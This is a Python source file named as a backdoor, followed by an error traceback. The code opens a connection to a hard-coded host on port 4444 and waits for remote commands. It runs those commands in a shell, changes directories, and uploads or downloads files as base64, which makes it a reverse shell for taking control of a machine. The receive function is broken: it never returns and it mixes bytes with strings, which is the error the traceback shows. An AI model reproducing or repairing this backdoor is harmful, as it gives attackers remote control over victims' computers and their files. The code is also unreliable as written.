import socket
import subprocess
import json
import os
import base64
import sys
class Backdoor:
	def __init__(self,ip,port):
		self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
		self.connection.connect((ip,port))
	def reliable_send(self,data):
		json_data = json.dumps(data)
		self.connection.send(json_data)
	def reliable_receive(self):
		json_data = ""
		while True:
			try:
				json_data = json_data + self.connection.recv(1024)
			except ValueError:
				continue
	def execute_system_commmand(self,command):
		return subprocess.check_output(command,shell=True)
	def change_working_directory_to(self,path):
		os.chdir(path)
		return "[+] Change working directory to {0}".format(path) 
	def write_file(self,path,content):
		with open(path,"wb") as file:
			file.write(base64.b64decode(content))
			return "[+] Upload Succesful"
	def read_file(self,path):
		with open(path,"rb") as file:
			return base64.b64encode(file.read())
	def run(self):
		while True:
			command = self.reliable_receive()
			try:
				if command[0] == "exit":
					self.connection.close()
					sys.exit()
				elif command[0] == "cd" and len(command) > 1:
					command_result = self.change_working_directory_to(command[1])
				elif command[0] == "download":
					command_result = self.read_file(command[1])
				elif command[0] == "upload":
					command_result = self.write_file(command[1],command[2])
				else:
					command_result = self.execute_system_commmand(command)
			except Exception:
				command_result = "[-]Error during command Execution"
			self.reliable_send(command_result)
my_backdoor = Backdoor("192.168.43.38",4444)
my_backdoor.run()

Traceback (most recent call last):
 File "backdoor.py", line 72, in <module>
 my_backdoor.run()
 File "backdoor.py", line 49, in run
 command = self.reliable_receive()
 File "backdoor.py", line 25, in reliable_receive
 json_data = json_data + self.connection.recv(1024)
TypeError: can only concatenate str (not "bytes") to str